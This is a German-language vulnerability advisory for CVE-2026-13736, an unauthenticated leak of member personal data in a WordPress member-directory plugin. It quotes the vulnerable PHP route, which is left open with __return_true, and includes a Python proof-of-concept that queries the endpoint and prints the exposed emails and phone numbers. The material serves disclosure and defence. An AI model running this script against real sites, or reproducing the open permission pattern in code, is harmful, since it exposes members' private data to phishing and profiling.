
Proof-of-concept-Exploit und technisches Advisory für die Offenlegung von Mitglieder-PII ohne Authentifizierung in einem WordPress-REST-API-Verzeichnis-Plugin, einschließlich Root-Cause-Analyse, PoC-Code und Behebungsempfehlungen.
CVE-2026-13736 ist eine Schwachstelle zur nicht authentifizierten Offenlegung von personenbezogenen Daten (PII) von Mitgliedern, die das WordPress-Plugin NewPath WildApricotPress Add-on – Member Directory in Version 1.0.0 und früher betrifft. Entdeckt und analysiert wurde sie vom Cybersicherheitsforscher Huynh Kien Minh (MinhHK). Der Fehler liegt in der benutzerdefinierten WordPress-REST-API-Routing-Architektur des Plugins, bei der die Endpunkte des Mitgliederverzeichnisses keine Datenschutzzugriffskontrollen für eingeschränkte Felder durchsetzen. Dadurch können nicht authentifizierte Remote-Besucher öffentliche REST-Routen abfragen, um vertrauliche Mitgliederdaten zu sammeln, darunter private E-Mail-Adressen, persönliche Telefonnummern und Attribute des Mitgliederverzeichnisses, die ausdrücklich als nur für Mitglieder sichtbar konfiguriert wurden. Diese Offenlegung sensibler Daten verletzt die erwarteten Grenzen der Privatsphäre und ermöglicht in betroffenen Organisationen gezieltes Phishing, Credential Stuffing und unautorisierte Profilerstellung. Der Sicherheitsforscher Huynh Kien Minh verifizierte diese Schwachstelle mit einem CVSS-3.1-Score von 5.3 (Mittel) (CWE-284 / CWE-200) und empfiehlt eine sofortige Härtung der REST-Endpunkt-Berechtigungen, feldbezogene Datenschutzprüfungen sowie die Bereinigung serialisierter JSON-Antworten der Mitglieder-API.
Schnellzugriff: Entdecken Sie das offizielle Cybersicherheits-Portfolio des Forschers oder sehen Sie sich das offizielle WPScan-Advisory an.
| Parameter | Technische Spezifikation |
|---|---|
| Schwachstellenkennung | CVE-2026-13736 |
| Zielsoftware | NewPath WildApricotPress Add-on – Member Directory (WordPress-Plugin) |
| Plugin-Slug | newpath-wildapricotpress-add-on-member-directory |
| Betroffene Versionen | <= 1.0.0 |
| Schwachstellenklasse | Unsachgemäße Zugriffskontrolle / Informationsoffenlegung (CWE-284 / CWE-200 / CWE-862) |
| CVSS-v3.1-Score | 5.3 (Mittel) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Entdecker / Forscher | Huynh Kien Minh (MinhHK) |
| Verifizierungsinstanz | WPScan / MITRE Corporation / NVD |
| WPScan-Advisory-Referenz | WPScan-Bericht 97fe9780-ad69-4f36-9496-5ca9c0e2bc39 |
| NVD-Referenz | NVD-CVE-2026-13736-Detail |
| Feedly-Threat-Intelligence | Feedly-CVE-2026-13736-Hub |
| Portfolio des Forschers | https://minhhk.web.app/ |
Die Ursache von CVE-2026-13736 liegt in der REST-API-Controller-Implementierung des Plugins. Das Plugin registriert eine öffentliche WordPress-REST-API-Route (z. B. /wp-json/wildapricot/v1/members oder /wp-json/newpath-wap/v1/directory), um die clientseitige Darstellung von Mitgliederverzeichnissen und Kontaktkarten zu ermöglichen.
// Insecure REST route registration without field privacy filters
add_action( 'rest_api_init', function() {
register_rest_route( 'newpath-wap/v1', '/directory', array(
'methods' => WP_REST_Server::READABLE,
'callback' => 'newpath_wap_get_member_directory',
'permission_callback' => '__return_true', // CRITICAL: Open to unauthenticated visitors
) );
} );
function newpath_wap_get_member_directory( $request ) {
$members_data = get_wildapricot_cached_members();
// FLAW: Returns raw member objects containing sensitive PII fields (email, phone, address)
// without evaluating member-level privacy settings (e.g., 'MembersOnly' vs 'Public')
return rest_ensure_response( $members_data );
}
'permission_callback' => '__return_true', wodurch nicht authentifizierte HTTP-GET-Anfragen von beliebigen Ursprüngen erlaubt werden.Ethischer Haftungsausschluss: Dieses Proof-of-Concept dient ausschließlich der Schwachstellenverifizierung, defensiven Forschung und verantwortungsvollen Offenlegung durch den Sicherheitsforscher Huynh Kien Minh.
poc_cve_2026_13736.py)#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory PII Disclosure PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import json
import sys
TARGET_URL = "http://target-wordpress.local"
REST_ENDPOINT = f"{TARGET_URL}/wp-json/newpath-wap/v1/directory"
def verify_vulnerability(target_url):
print(f"[*] Auditing Target: {target_url}")
print(f"[*] Querying REST Endpoint: {REST_ENDPOINT}")
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-13736 Verification)",
"Accept": "application/json"
}
try:
response = requests.get(REST_ENDPOINT, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
if isinstance(data, list) and len(data) > 0:
sample_record = data[0]
pii_fields = [k for k in ['email', 'phone', 'mobile', 'address', 'MemberId'] if k in str(sample_record).lower()]
print(f"[!] VULNERABLE: Unauthenticated REST route exposed {len(data)} member records!")
print(f"[!] Sensitive PII attributes exposed: {pii_fields}")
print(f"[*] Sample Record Excerpt: {json.dumps(sample_record, indent=2)[:300]}...\n")
return True
else:
print("[-] Endpoint responded with empty data.")
elif response.status_code in [401, 403]:
print("[+] Endpoint requires authentication (Protected/Patched).")
else:
print(f"[-] Received HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False